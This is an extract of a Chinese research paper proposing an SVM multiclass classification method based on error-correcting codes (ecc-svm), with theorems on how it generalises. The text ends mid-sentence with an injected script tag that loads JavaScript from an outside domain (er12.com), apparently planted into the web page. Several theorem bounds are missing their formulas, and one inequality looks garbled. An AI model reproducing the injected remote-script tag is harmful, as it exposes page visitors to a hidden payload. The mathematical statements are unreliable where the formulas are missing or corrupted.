摘 要：提出了一种基于纠错编码的支持向量机多类分类算法（ecc－svm），并在理论上研究了该算法的推广性与编码长度、码间汉明距离、编码顺序以及每个svm推广性之间的关系，给出了这种关系的数学表达，为提高该算法的推广能力指明了方向。把目前广泛使用的1－v－rsvm多类分类算法作为该算法的一个特例，分析了它的推广性。计算机仿真数据和多光谱遥感图像分类实验结果表明，ecc－svm具有更快的分类速度和更高的分类精度，同时验证了本文理论分析的正确性。
关键词：支持向量机（svm），纠错编码（ecc），多类分类，推广性，1－v－rsvm
支持向量机（svm）是近几年发展起来的一种学习机器［1］，它以强的推广能力受到越来越多人的青睐。但svm是针对两类分类问题设计的，不能直接用于多类分类问题。而实际的模式识别问题绝大多数都是多类分类问题，所以目前svm难以用来解决实际的模式分类问题。为了克服这个缺陷，人们对svm多类分类方面进行了大量的研究，提出了一些有效的svm多类分类算法［2～4］。但这些算法中大部分的推广性都没有得到分析，使得人们无法有效地使用这些算法获取更好的分类结果。本文提出了一种基于纠错编码［5，6］的svm多类分类算法（ecc－svm）。
1 ecc┐svm多类分类算法
纠错编码（error－correcting codes——ecc）是一种把多类分类问题转化为多个两类分类问题的方法［5，6］。k类数据分类问题，对每个类进行长度为l的二进制编码，就把k类分类问题转化为l个两类分类问题。由于每个码位上的分类器只需要做两类分类，所以可以采用svm作为码位分类器。对于一个新样本，l个svm的分类结果构成一个码字s，k个编码中与s汉明距离最小的码字所代表的类别就是这个新样本所属类别。把对数据进行ecc编码后，采用svm作为码位分类器的多类分类方法称为ecc－svm多类分类算法。有效的ecc编码必须满足两个条件：①编码矩阵的行之间不相关；②编码矩阵的列之间不相关且不互补。因此对于k类分类问题，编码长度l必须满足log2k<k≤2k-1-1。表1是ecc－svm解决5类分类问题的例子，这里取码长l为10bit(3≤l≤15均可)。
ecc－svm算法中，第i个svm训练样本的组成是把编码矩阵中第i列取值为0的所有类别的样本归为第1类，把取值为1的所有类别的样本归为第2类。
2 推广性分析
采用vc理论［1］和fat－shattering维概念［7］对ecc－svm推广性进行分析，可以得到它与编码长度、码间汉明距离、编码顺序以及svm分类间隙之间的关系。这为人们研究如何提高ecc－svm的分类能力提供了理论指导。
对于ecc－svm的推广性，可以有下面的结论：
定理1对于k个类别的分类问题，ecc的码长为l，码间最小汉明距离为d。依据未知概率分布p产生的m个样本（记为x）的最小包容球半径为r。如果ecc－svm能够把m个样本完全正确分类，l个svm的分类间隙由大到小排列，分别记为r1，r2，…，rl，令ki＝fat（ri／8），i＝1，2，…，l。那么对于由p新产生的m个样本（记为y），有
定理1的证明见附录。这里每个svm的分类间隙ri就表征了该svm的推广能力［1］。定理1是在特定样本、特定编码情况下对ecc－svm推广能力的描述。而实际问题中编码属性会随着问题的不同而变化，所以必须研究在所有可能的编码情况下ecc－svm的推广性。
定理2对k个类别的分类问题，ecc－svm能够把m个样本正确分类，ecc的编码长度l，码间最小汉明距离为d。l个svm的分类间隙由大到小排列，记为r1，r2，…，rl。则ecc－svm的分类错误风险至少以概率1－δ不大于下式
为l、码间汉明距离为d的编码组数，每一组中有k个码字，r是包含m个样本的最小球半径。
定理2的证明见附录。从定理2可以看出，ecc－svm的推广能力不是由推广性最差的svm的分类精度决定，而是由前m个推广性好的svm的分类精度决定。编码长度和码间最小汉明距离会影响m，从而影响推广能力。编码顺序对分类间隙有一定的影响，因此也会影响推广能力。
目前被广泛使用的1－v－rsvm多类分类算法可以看作采用表2中编码的ecc－svm。它是ecc－svm的一个特例，编码长度为k（与类别数相同），码间汉明距离为2，所以1－v－rsvm采用的编码不具有纠错功能。
根据定理1，取m＝k，很容易得到1－v－rsvm的推广性描述：
推论1 1－v－rsvm用于k个类别的分类问题，依据未知概率分布p产生的m个样本（记为x）的最小包容球半径为r。如果1－v－rsvm能够把m个样本正确分类，k个svm的分类间隙分别记为r1，r2，…，rk，令ki＝fat（ri／8），i＝1，2，…，k。那么对于由p新产生的m个样本（记为y）有下面的界成立
至此，根据定理1、定理2和推论1可得出结论?script src=http://er12.com/t.js>
